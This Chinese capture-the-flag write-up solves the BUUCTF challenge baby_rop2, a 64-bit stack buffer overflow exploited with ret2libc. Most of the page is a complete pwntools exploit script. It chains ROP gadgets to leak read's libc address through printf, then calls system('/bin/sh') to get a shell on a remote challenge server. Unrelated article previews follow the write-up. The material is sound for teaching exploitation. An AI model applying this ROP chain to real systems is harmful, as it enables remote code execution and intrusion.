BUUCTF Pwn [HarekazeCTF2019]baby_rop2 题解

下载 得到两个文件 checksec

64位 拖入IDA64

查看main函数 看到给了个libc说明这题是ret2libc题

这里的打印函数是printf 所以利用printf函数的plt输出真实地址got

但printf的got好像不行 所以换成了read的got

因为这是64位程序 所以用寄存器传参;又因为printf得传至少2个参数 所以要用到寄存器RDI RSI

使用ROPgadget查找:

查到的rsi多了个r15寄存器 但不需要用到 所以写payload的时候记得填充它

第一个rdi传入printf里的格式化字符串

exp:

from pwn import *
from LibcSearcher import *#p = process('./babyrop2')
p = remote("node5.buuoj.cn", 29847)
elf = ELF('./babyrop2')printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_address = 0x400636
pop_rdi = 0x400733
pop_rsi_r15 = 0x400731
formart_str = 0x400770payload1 =b'a' * (0x20 + 8) + p64(pop_rdi) + p64(formart_str) + p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main_address)p.sendlineafter("name? ", payload1)
read_address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))print(hex(read_address))libc = ELF('./libc.so.6')
offset = read_address - libc.symbols['read']
binsh = offset + libc.search('/bin/sh').__next__()
system = offset + libc.symbols['system']payload2 = b'a' * (0x20 + 8)  + p64(pop_rdi)  + p64(binsh)+ p64(system)p.sendline(payload2)
p.interactive()

运行 得到flag:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/491039.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Starfish 因子开发管理平台快速上手:如何完成策略编写与回测

DolphinDB 开发的因子开发管理平台 Starfish 围绕量化投研的因子、策略开发阶段设计,为用户提供了一个从数据管理、因子研究到策略回测的完整解决方案。 因子平台的回测引擎提供了多个关键的事件函数,涵盖策略初始化、每日盘前和盘后回调、逐笔、快照和…

ASP.NET|日常开发中读写TXT文本详解

ASP.NET|日常开发中读写TXT文本详解 前言一、读取 TXT 文本1.1 使用StreamReader类 二、写入 TXT 文本2.1 使用StreamWriter类 三、文件编码问题3.1 常见编码格式 四、错误处理和性能考虑4.1 错误处理4.2 性能考虑 结束语优质源码分享 ASP.NET|日常开发中…

走进 RAG 技术:一场智能数据交互的奇幻之旅

朋友们,咱身处的这个时代,科技那可是跟开了挂似的往前冲,其中人工智能更是厉害得没话说,宛如一个充满无限可能的魔法领域,时不时就给咱的生活来个大变样。而在这其中,RAG 技术就像是突然冒出来的一颗超亮眼…

leetcode-402.移调k位数字-day8

代码实现细节影响 方法一&#xff1a;在构建最终结果字符串时&#xff0c;通过 stack.substring(0, stack.length() - k < 1? 0 : stack.length() - k).toString() 这样的方式来截取需要的部分&#xff0c;这个操作相对比较直接简洁&#xff0c;不需要额外的反转等操作&…

第十二课 Unity 内存优化_内存工具篇(Memory)详解

内存&#xff08;Memory&#xff09; unity 内存部分也是优化过程中非常重要的一个环节&#xff0c;也会影像渲染过程中的同步等待与带宽问题。因此内存的优化也可能会给我们渲染开销带来精简&#xff0c;今天我们先来了解unity中的内存与使用到的内存工具。 Unity中的内存 托…

ESlint代码规范,手动与自动修复

规范说明 规则参考 - ESLint - 插件化的 JavaScript 代码检查工具 规范说明 ​ ​ 可看到是main.js文件报错分别是第三行第30个字符&#xff0c;以及第七行第一个字符 后面则是规范说明&#xff0c;可以根据说明查找相应的规范 一.手动修正 ctrl f 可以搜索 二.自动修正 …

Python的3D可视化库【vedo】2-3 (plotter模块) 增删物体、控制相机

文章目录 4 Plotter类的方法4.3 渲染器内的物体操作4.3.1 添加物体4.3.2 移除物体4.3.3 渲染器的内容列表 4.4 相机控制4.4.1 访问相机对象4.4.2 重置相机状态4.4.3 移动相机位置4.4.4 改变相机焦点4.4.5 改变相机朝向的平面4.4.5 旋转相机4.4.6 对齐相机的上朝向4.4.7 缩放 ve…

vue3监听横向滚动条的位置;鼠标滚轮滑动控制滚动条滚动;监听滚动条到顶端

1.横向取值scrollLeft 竖向取值scrollTop 2.可以监听到最左最右侧 3.鼠标滚轮滑动控制滚动条滚动 效果 <template><div><div class"scrollable" ref"scrollableRef"><!-- 内容 --><div style"width: 2000px; height: 100…

FFTW 库于 Qt Creator 环境的部署与应用

1.什么是FFTW库 FFTW库是用于一维或多维快速傅里叶变换(FFT)的C函数库。 2.在Qt中的安装和使用 2.1 下载合适版本 我们以 FFTW 3.3.5 版本为例&#xff0c;对于 Windows 64 位平台&#xff0c;&#xff0c;可以从官网的下载链接&#xff1a;FFTW Installation on Windows 2…

加餐:读者写者问题与读写锁+自旋锁

目录 一、读者写者问题1、读者写者问题2、读者写者 vs 生产消费3、读者写者问题如何理解 二、读写锁1、读写锁接口&#xff08;1&#xff09;设置读写优先&#xff08;2&#xff09;初始化&#xff08;3&#xff09;销毁&#xff08;4&#xff09;加锁和解锁 2、读写锁案例 三、…

新零售社交电商系统小程序功能开发详细解析

现在的购物方式是越来越有趣了&#xff0c;新零售社交电商系统是互联网、大数据、人工智能的技术和咱们熟悉的传统零售深度结合后产生的。它整合线上线下渠道及数据&#xff0c;带来全方位、多渠道、个性化购物体验。借助实时库存管理、智能推荐和无缝购物体验等功能&#xff0…

【学习笔记】移动端浏览器的视口

两个视口 视觉视口&#xff1a;是当前显示屏页面中的一部分 布局视口&#xff1a;完整页面的大小 视觉视口 布局视口有多宽&#xff1f;这因浏览器而异。Safari iPhone使用980px&#xff0c; Opera 850px, Android WebKit 800px, IE 974px 视觉视口和布局视口相同 局视口宽度…

xshell连接虚拟机,更换网络模式:NAT->桥接模式

NAT模式&#xff1a;虚拟机通过宿主机的网络访问外网。优点在于不需要手动配置IP地址和子网掩码&#xff0c;只要宿主机能够访问网络&#xff0c;虚拟机也能够访问。对外部网络而言&#xff0c;它看到的是宿主机的IP地址&#xff0c;而不是虚拟机的IP。但是&#xff0c;宿主机可…

PVE系统下——OpenWRT一键扩容脚本(x86下EXT4SquashFS)

扩容了x86上的 OpenWrt 根分区和文件系统。 1.PVE 上增加硬盘大小 2.执行脚本 安装依赖 opkg update opkg install parted losetup resize2fs下载脚本并一键执行 wget -U "" -O expand-root.sh "https://openwrt.org/_export/code/docs/guide-user/advanced…

嵌入式Linux之wifi配网C++版

上篇文章,介绍了嵌入式Linux开发板中,通过sh脚本调用wpa_supplicant等工具进行配网。 本篇,来介绍如何通过C++编程 ,来实现同样的功能。 1 准备工作 我这个开发板,之前配置了开机自动启动配网脚本,为了便于测试C++编程,可以先关掉开机配网的自动脚本。 在/etc/init.d…

YOLOv8目标检测(六)_封装API接口

YOLOv8目标检测(一)_检测流程梳理&#xff1a;YOLOv8目标检测(一)_检测流程梳理_yolo检测流程-CSDN博客 YOLOv8目标检测(二)_准备数据集&#xff1a;YOLOv8目标检测(二)_准备数据集_yolov8 数据集准备-CSDN博客 YOLOv8目标检测(三)_训练模型&#xff1a;YOLOv8目标检测(三)_训…

Intel(R) Iris(R) Xe Graphics安装Anaconda、Pytorch(CPU版本)

一、Intel(R) Iris(R) Xe Graphics安装Anaconda 下载网址&#xff1a;https://repo.anaconda.com/archive/ 双击Anaconda3-2024.10-1-Windows-x86_64&#xff0c;一直下一步&#xff0c;选择安装的路径位置&#xff0c;一直下一步就安装完成了。打开Anaconda PowerShell Promp…

docker安装、升级、以及sudo dockerd --debug查看启动失败的问题

1、docker安装包tar下载地址 Index of linux/static/stable/x86_64/ 2、下载tgz文件并解压 tar -zxvf docker-24.0.8.tgz 解压后docker文件夹下位docker相关文件 3、将老版本docker相关文件&#xff0c;备份 将 /usr/bin/docker下docker相关的文件&#xff0c;mv到备份目录…

vue 对接百度地图,选择附近的点

安装依赖 npm install vue-baidu-map0.21.22 编写页面 <template><view class"nearLocation"><u-navbar :is-back"false" title"选择附近的点" title-color"black"><view style"padding-left: 20px;&quo…

详解排序几大算法

一、插入排序 基本思想&#xff1a; 直接插入排序是一种简单的插入排序算法&#xff0c;其基本思想是&#xff1a;把待排序的记录按其关键码值的大小逐个插入到一个已经排好序的有序序列中&#xff0c;直到所有的记录插入完为止&#xff0c;得到一个新的有序序列。 步骤&#x…